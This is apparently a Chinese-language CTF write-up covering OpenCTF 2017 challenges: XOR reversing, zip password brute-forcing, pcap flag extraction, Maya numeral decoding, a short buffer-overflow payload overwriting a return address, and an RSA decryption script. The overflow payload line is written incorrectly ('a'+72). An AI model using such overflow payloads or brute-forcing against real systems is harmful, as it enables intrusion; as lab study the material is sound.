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最近想去看看XCTF实训平台，算是给自己的一个督促吧，选的第一个目标是OpenCTF 2017

1. OpenReverse

拖进IDA分析main函数，截图如下

其实就是比较v30与v4地址处的字符串是否相等，v30是我们的输入，那么关键就是看v4了

v4的初始值我们都知道，接下来观察函数40100对v4有什么改变

发现有对v4开始的26个字符全部进行了一个异或操作

当然拉我们动态调试在strcmp函数的地方设断点显然是可以看到变形后的v4的

easy

2.zip

我一直以为是伪加密，但winhex一波后发现是真加密，提示是纯数字，果断暴力破解
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获得密码，输入即得flag

3. pcap

提示是wireshark,tcp

直接过滤流量包，找到get包，有明显的XCTF

最后进行urldecode：XCTF{RSUJecDZ5xFp1z1X&Nmpt@PZSDQ%Gbx6}

4.Maya Cipher

这玛雅数字真的是太秀了

改成正常数字看一下

最后直接转ASCII得

5.blind



Hint: 72位junk

nc之后会返回一个地址，直接payload覆盖EIP就OK

payload='a'+72+p64(0x40060d)
cn.sendline(payload)
print(cn.recvall())
cn.interactive()

6.easy-rsa

看题目估计就是解一个RSA

地址连接挂了，题目我是从别人博客里找到的，如下

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 69016319356655639210194946570348715066396274579181987745484908846232464436640043461016746215950609916307004870722625663551955221548688400875709926061159609460224830151731941059363474236594094101209402353834752606848369320902191207004466087273869348206495061740962728586464640440980967989689860668335396868406

之前遇到这种题目我就直接RSAtool，不过这次打算自己写写看，脚本都大同小异

def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
d = modinv(e, (p-1)*(q-1))
print d
c= 69016319356655639210194946570348715066396274579181987745484908846232464436640043461016746215950609916307004870722625663551955221548688400875709926061159609460224830151731941059363474236594094101209402353834752606848369320902191207004466087273869348206495061740962728586464640440980967989689860668335396868406

m=pow(c,d,p*q)
print m

7.jsjs

使用Firefox的Web Developer插件查看源代码

8.variacover

直接找md5值为0的字符串就好
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